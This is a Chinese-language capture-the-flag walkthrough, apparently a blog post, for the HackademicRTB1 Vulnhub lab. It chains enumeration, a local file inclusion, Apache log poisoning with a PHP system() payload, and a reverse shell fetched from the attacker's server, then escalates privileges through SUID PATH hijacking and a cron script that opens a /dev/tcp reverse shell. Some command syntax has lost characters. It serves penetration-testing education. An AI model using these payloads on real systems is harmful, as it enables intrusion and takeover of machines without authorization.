ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

从LFI到RCE:HackademicRTB1靶机渗透实战与权限提升

2026/8/8 9:44:00 拓冰建站 浏览量
从LFI到RCE:HackademicRTB1靶机渗透实战与权限提升 1. 项目概述与靶机背景HackademicRTB1是Vulnhub平台上发布的一款经典渗透测试靶机它模拟了一个存在多处安全漏洞的Web应用环境是红队成员和网络安全爱好者练习从信息收集到权限提升完整链条的绝佳沙盒。这个靶机之所以在社区里经久不衰是因为它巧妙地融合了多种中低危漏洞考验的是测试者的综合思维和耐心而非依赖某个单一的“大招”。很多新手在拿到一个靶机IP后常常会感到无从下手或者卡在某个环节反复尝试爆破而不得其法。HackademicRTB1恰恰能帮你走出这个困境它引导你系统地运用工具、分析线索、串联逻辑最终拿到最高权限。如果你正在学习渗透测试或者想巩固自己的Web渗透、系统提权技能这个靶机提供的实战路径非常具有教学意义。从技术栈来看靶机主要围绕一个自定义的PHP Web应用展开其中包含了文件上传、目录遍历、命令注入、数据库操作以及最终的本地权限提升等多个环节。它不依赖于任何复杂的0day或生僻的框架漏洞而是聚焦于开发中常见的、因安全意识不足或配置错误导致的问题。因此攻克它的过程实际上就是在复盘一个不安全的Web应用从外到内被攻破的典型故事。接下来我会以一个实战者的视角带你完整走一遍这个流程并重点分享那些容易被忽略的细节和一旦卡住该如何调整思路的技巧。2. 环境准备与初步信息收集2.1 靶机部署与网络配置从Vulnhub下载到HackademicRTB1的OVA镜像后第一步是将其导入到你的虚拟化平台。无论是VMware Workstation还是VirtualBox操作都大同小异。这里有一个至关重要的细节当虚拟机首次启动时虚拟化软件会弹出一个提示框询问你是“我已移动此虚拟机”还是“我已复制此虚拟机”。你必须选择“我已移动此虚拟机”。如果错误地选择了“复制”虚拟机的网卡MAC地址会发生变化这可能导致其无法正确获取IP地址或者与你攻击机所在的网络段不匹配导致后续根本无法扫描到目标。这是很多新手遇到的第一个“坑”看似简单却足以让整个实验还没开始就宣告失败。部署完成后我们需要确定靶机的IP地址。通常Vulnhub靶机会设置为自动获取IPDHCP。在你的攻击机我使用的是Kali Linux上打开终端使用netdiscover或arp-scan工具进行二层网络扫描。例如执行sudo arp-scan -l。这个命令会列出当前局域网内所有活跃设备的IP和MAC地址。在结果中寻找一个非你攻击机、也非你物理路由器/网关的IP地址那很可能就是靶机。记下这个IP我们后续的所有操作都将围绕它展开。假设我们发现的靶机IP是192.168.1.105。2.2 全面的端口与服务探测拿到IP后切忌直接一头扎进Web端乱试。全面的信息收集是渗透测试的基石。我们使用Nmap进行端口扫描。首先进行一次快速扫描了解开放端口的大致情况nmap -sS -T4 192.168.1.105参数-sS代表TCP SYN扫描半开扫描速度快且相对隐蔽-T4指定扫描速度。通常我们会看到80端口HTTP开放。但这还不够我们需要更详细的信息。接着进行一次服务版本探测和默认脚本扫描nmap -sV -sC -p- 192.168.1.105这个命令组合威力很大-sV: 探测开放端口上运行的服务及其具体版本号。-sC: 使用Nmap自带的默认脚本进行扫描这些脚本能发现一些常见漏洞或获取额外信息如HTTP标题、robots.txt内容等。-p-: 扫描所有65535个端口确保没有漏网之鱼。扫描结果可能会显示仅开放了80端口运行着Apache httpd服务。但-sC脚本扫描的结果往往包含宝贵信息。例如它可能会在结果中打印出HTTP服务的响应头或者访问根目录时的一些HTML内容提示。请务必仔细阅读Nmap输出的每一行文字。注意在真实环境中这种全端口扫描-p-耗时较长且流量特征明显。在靶场练习中我们可以放心使用但在授权测试中需要根据情况选择更隐蔽的策略或分阶段扫描。3. Web应用渗透与漏洞利用3.1 目录枚举与敏感文件发现确认80端口开放后我们使用浏览器访问http://192.168.1.105。通常靶机的主页可能是一个简单的登录页面或者直接展示了一些应用功能。HackademicRTB1的Web界面可能看起来比较简单甚至有些过时但这正是它的特点——模拟那些疏于维护的内部系统。接下来使用工具进行目录和文件枚举。我推荐使用gobuster或dirb。以gobuster为例gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir: 指定进行目录爆破模式。-u: 指定目标URL。-w: 指定字典文件这里使用dirb工具自带的common.txt它包含了常见的目录和文件名。-x: 指定尝试的文件扩展名。对于PHP应用php扩展名是必须的txt, bak等则可能用于寻找备份文件或说明文件。扫描结果中你需要特别关注以下几类目录或文件管理后台如/admin/backend/dashboard。API或功能端点如/api/upload/search。配置文件或备份文件如/config.php/.git/index.php.bak。日志或信息泄露文件如/phpinfo.php/info.php。可上传目录如/uploads/images。在HackademicRTB1中你很可能会发现一个关键的目录比如/files或/uploads以及一些像/index.php?page这样带参数的页面。这些将是后续攻击的入口点。3.2 漏洞挖掘与利用从LFI到RCE假设通过枚举我们发现了一个存在本地文件包含LFI漏洞的端点例如http://192.168.1.105/index.php?page../../../../etc/passwd。如果尝试后成功显示了系统/etc/passwd文件的内容那么就确认了LFI漏洞的存在。LFI漏洞本身可能只能读取文件但我们的目标是获取远程代码执行RCE的能力。这里有几个经典的利用思路1. 日志文件注入这是将LFI转化为RCE最常用的方法之一。思路是将PHP代码注入到某个能被Web服务器读取的日志文件中然后通过LFI漏洞去包含这个日志文件从而执行其中的代码。寻找日志路径通过LFI读取/etc/apache2/apache2.conf或/etc/httpd/conf/httpd.conf等配置文件找到ErrorLog或CustomLog指令定义的路径。常见的Apache访问日志路径是/var/log/apache2/access.log。注入代码使用Burp Suite或curl向靶机发送一个请求在User-Agent或HTTP头中携带PHP代码。例如curl -A ?php system(\$_GET[cmd]); ? http://192.168.1.105/包含执行然后通过LFI漏洞去包含这个日志文件http://192.168.1.105/index.php?page../../../../var/log/apache2/access.logcmdid如果配置正确参数cmd的值这里是id将会被作为系统命令执行并返回结果。2. 利用/proc/目录在Linux系统中/proc/self/environ文件包含了当前进程的环境变量。我们可以通过User-Agent等方式污染这个环境变量然后包含它。另一种更稳定的是利用/proc/self/fd/目录。当服务器上传文件时会先在/tmp目录产生临时文件其路径可能在/proc/self/fd/XX中短暂存在。通过竞争条件包含这个临时文件也有可能执行代码但这种方法成功率较低且需要精确计时。3. 利用PHP封装器PHP内置的php://input流包装器允许我们直接POST PHP代码供包含。但前提是allow_url_include选项在PHP配置中是开启的默认通常是关闭的。你可以先尝试包含php://filter/convert.base64-encode/resourceindex.php来读取PHP源码这通常是被允许的用于源码审计。对于RCE可以尝试http://192.168.1.105/index.php?pagephp://input同时在POST Body中发送?php system(id); ?。如果配置允许代码也会执行。实操心得在HackademicRTB1中日志文件注入通常是成功率最高的方法。但要注意如果Apache以非root用户运行通常是www-data它可能没有权限读取/var/log/apache2/access.log。这时可以尝试包含/var/log/auth.log如果服务器有SSH登录行为或者/proc/self/environ。多尝试几种日志路径和注入点User-Agent, X-Forwarded-For等。3.3 获取初始立足点Web Shell上传与交互通过LFI to RCE我们执行了id或whoami命令确认了当前Web服务运行的用户身份很可能是www-data。接下来我们需要一个更稳定的交互式Shell。最直接的方法是利用RCE下载一个反向Shell脚本到Web目录。首先在你的攻击机上准备一个PHP反向Shell脚本Kali中位于/usr/share/webshells/php/php-reverse-shell.php并修改其中的IP和端口为你攻击机的监听地址。然后在攻击机对应目录启动一个HTTP服务python3 -m http.server 8080接着通过靶机的RCE漏洞执行wget或curl命令下载这个shell# 通过RCE执行注意命令中的IP和端口要替换 wget http://192.168.1.your_attack_ip:8080/php-reverse-shell.php -O /var/www/html/shell.php或者如果靶机没有wget可以尝试使用PHP本身来下载php -r $file file_get_contents(http://192.168.1.your_attack_ip:8080/php-reverse-shell.php); file_put_contents(/var/www/html/shell.php, $file);在攻击机上使用Netcat监听你指定的端口例如4444nc -nvlp 4444最后访问靶机上的Web Shell文件http://192.168.1.105/shell.php。如果一切顺利你将在Netcat终端看到一个来自靶机的反向Shell连接这样就获得了www-data用户的初始访问权限。4. 权限提升与内网横向移动4.1 系统信息收集与枚举拿到www-data的Shell后我们处在一个受限的环境里。首要任务是收集系统信息寻找提权突破口。执行一系列枚举命令# 查看系统内核和发行版信息 uname -a cat /etc/os-release # 查看当前用户权限 id sudo -l # 如果当前用户有sudo权限这是最直接的提权方式 # 查看计划任务 crontab -l ls -la /etc/cron* /var/spool/cron/ # 查看具有SUID/SGID权限的特殊文件 find / -type f -perm -us -ls 2/dev/null find / -type f -perm -gs -ls 2/dev/null # 查看世界可写文件或目录 find / -type f -perm -ow -ls 2/dev/null 2/dev/null | grep -v proc # 查看网络连接和监听端口 netstat -antup ss -tulpn # 查看进程列表 ps aux # 查看安装的软件版本特别是提权相关的如gcc, python, perl等 which gcc python python3 perl php nc将这些信息仔细记录下来。在HackademicRTB1中提权路径往往设计得比较经典。常见的突破口包括SUID二进制文件找到一个属于root且设置了SUID位的程序如果这个程序的功能能被我们利用来执行任意命令如find,vim,bash,nmap的旧版本等就可以直接提权。sudo权限如果sudo -l显示当前用户可以以root身份无需密码运行某些命令如/usr/bin/vi,/usr/bin/python等那么利用这些命令启动一个root shell即可。内核漏洞如果系统内核版本较旧可能存在公开的本地提权漏洞。可以使用uname -a查看内核版本然后使用searchsploit在本地搜索或者去Exploit-DB网站查找对应的EXP。注意在靶场中可以尝试但在真实生产环境中利用内核漏洞提权风险极高可能造成系统崩溃务必在授权和隔离环境中进行。计划任务检查是否有以root权限运行的计划任务脚本且该脚本当前用户有写入权限。如果有我们可以替换脚本内容为恶意命令。4.2 利用SUID或计划任务提权假设通过find / -type f -perm -us -ls 2/dev/null命令我们发现了一个不常见的、但属于root且带SUID位的可执行文件例如/usr/local/bin/suid_program。首先分析这个程序ls -la /usr/local/bin/suid_program file /usr/local/bin/suid_program strings /usr/local/bin/suid_programstrings命令可以打印出文件中可打印的字符序列有时能发现它内部调用了哪些系统命令如/bin/cat,ls等。如果发现它调用了某个命令但没有使用绝对路径那么我们就可以通过操纵环境变量PATH来劫持这个命令。例如如果strings显示它内部执行了service命令。我们可以这样做在可写目录如/tmp下创建一个名为service的恶意脚本echo /bin/bash /tmp/service chmod x /tmp/service将/tmp目录添加到环境变量PATH的最前面并运行该SUID程序export PATH/tmp:$PATH /usr/local/bin/suid_program当SUID程序以root身份尝试执行service时系统会在PATH中查找首先找到我们放在/tmp下的恶意service脚本并以root权限执行它从而给我们一个root shell。另一种情况是计划任务。假设crontab -l或ls -la /etc/cron.d/发现了一个root运行的脚本/opt/cleanup.sh并且www-data用户对这个文件有写权限。那么直接编辑这个文件在末尾添加一行反向Shell命令echo bash -i /dev/tcp/192.168.1.your_attack_ip/5555 01 /opt/cleanup.sh然后在攻击机监听5555端口等待计划任务执行可能需要等几分钟取决于cron的设置即可获得root shell。4.3 获取最终凭证与总结成功提权到root后最后的仪式感就是获取最终的证明——通常是/root目录下的flag.txt或proof.txt文件。cat /root/flag.txt此外还应该检查数据库、Web应用配置文件如config.php、wp-config.php中是否存有明文密码这些密码可能在别的系统复用。使用history命令查看root用户的历史操作记录有时也能发现有趣的信息。常见问题与排查反向Shell连接失败检查攻击机防火墙是否放行了监听端口检查靶机命令中的IP和端口是否正确尝试使用不同方法生成Shell如bash反向ShellPython反向Shell。SUID提权失败确保你创建的可执行文件具有执行权限chmod x检查SUID程序实际调用的命令名是否与你创建的文件名完全一致包括大小写有些系统设置了安全限制如/tmp目录的noexec挂载选项需要在其他可写且可执行的目录尝试。内核EXP编译失败靶机可能没有安装gcc编译环境。可以尝试在攻击机上编译然后传到靶机。或者寻找用Python、Perl等脚本语言编写的EXP。整个HackademicRTB1的渗透流程走下来你会发现它像一部精心设计的侦探剧每一步的发现都引导着下一步的行动。从Web目录枚举发现入口点到利用LFI读取关键信息再到日志注入获得RCE最后在系统内部枚举找到提权路径。这个过程锻炼的不仅是工具使用更是逻辑推理和耐心。每个靶机都有其独特的“性格”遇到阻碍时回头仔细检查每一步收集到的信息往往答案就藏在其中。